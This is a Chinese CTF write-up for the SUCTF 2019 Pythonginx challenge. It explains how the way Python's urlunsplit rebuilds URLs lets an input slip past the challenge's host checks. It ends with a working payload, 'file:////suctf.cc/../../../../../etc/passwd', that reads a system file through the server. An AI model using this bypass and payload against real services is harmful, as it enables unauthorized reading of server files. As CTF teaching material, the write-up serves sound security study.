SUCTF Pythonginx非预期解

这是一个睿智 / 2019-09-13 09:28:22 / 浏览数 2543 安全技术 CTF 顶(1) 踩(0)

做这道题的时候还不知道黑帽大会的那个技巧，用了另一种方法做出来了，算是另一种思路，献丑和师傅们分享一下。

这里贴一下代码：

```
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
   return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
   url = request.args.get("url")
   host = parse.urlparse(url).hostname
   if host == 'suctf.cc':
       return "■■ your problem? 111"
   parts = list(urlsplit(url))
   host = parts[1]
   if host == 'suctf.cc':
       return "■■ your problem? 222 " + host
   newhost = []
   for h in host.split('.'):
       newhost.append(h.encode('idna').decode('utf-8'))
   parts[1] = '.'.join(newhost)
   #■■ url ■■■■
   finalUrl = urlunsplit(parts).split(' ')[0]
   host = parse.urlparse(finalUrl).hostname
   if host == 'suctf.cc':
       return urllib.request.urlopen(finalUrl, timeout=2).read()
   else:
       return "■■ your problem? 333"

if __name__ == "__main__":
   app.run(host='0.0.0.0', port=80)
```

很简单，大概的逻辑就是，前两个判断 host 是否是 suctf.cc ，如果不是才能继续。然后第三个经过了 decode('utf-8') 之后传进了 urlunsplit 函数，在第三个判断中又必须要等于 suctf.cc 才行。

在不知道 ■ 这个字符的情况下，虽然觉得 decode 这里有蹊跷，但我还是把目光移到了函数 urlunsplit 上。

函数源码

那么接下来就是看看函数源码里到底是如何处理的，函数定义在 urllib\parse.py 中，这个函数不长，贴出来看看：

```
def urlunsplit(components):
   scheme, netloc, url, query, fragment, _coerce_result = (
                                         _coerce_args(*components))
   if netloc or (scheme and scheme in uses_netloc and url[:2] != '//'):
       if url and url[:1] != '/': url = '/' + url
       url = '//' + (netloc or '') + url
   if scheme:
       url = scheme + ':' + url
   if query:
       url = url + '?' + query
   if fragment:
       url = url + '#' + fragment
   return _coerce_result(url)
```

从题目源码也可以看出，这个函数的用法大概就是把 `url` 各个部分组成 `list` 传进来。

我们来分析一下这个函数：

这里的 `netloc` 就是题目中拿来判断的 `host`。

首先第一个 `if` 判断了 `netloc` 是否为空，如果不是空就进入代码块，第二个是判断 `schema` 是否为空。第三个第四个就不分析了。

仔细看看第二个 `if`，这里并没有强制要求 `netloc` 要有东西，假设一下我们传入一个这样的 `url`：

```
file:////abc
```

这个 `url` 传入入 `parse.urlparse` 时，`netloc` 是为空的，而 `path` 为 `//abc`，当进入到 `urlunsplit` 后，`netloc` 为空不进入第一块代码，`schema` 为 `file`，进入第二个代码块，拼接后 `url` 就变成了：`file://abc`

payload构造

做个实验就知道了，我们运行这样一个代码：

```
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse

url = "file:////def"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)
```

输出的结果：

```
SplitResult(scheme='file', netloc='', path='//def', query='', fragment='')
SplitResult(scheme='file', netloc='def', path='', query='', fragment='')
```

这就很明显了，我们成功的把 `path` 变成了 `netloc`。

再看回这道题，首先不能让他为 `suctf.cc`，但是经过了 `urlunsplit` 后变成 `suctf.cc`，很容易就构造出：`file:////suctf.cc/../../../../../etc/passwd`，这样就能读取文件了。

这里推荐一个师傅的 `ctf` 平台：https://buuoj.cn/challenges#[SUCTF%202019]Pythonginx

有这道题的环境，可以试试。里面也有很多别的比赛的题目，质量还可以。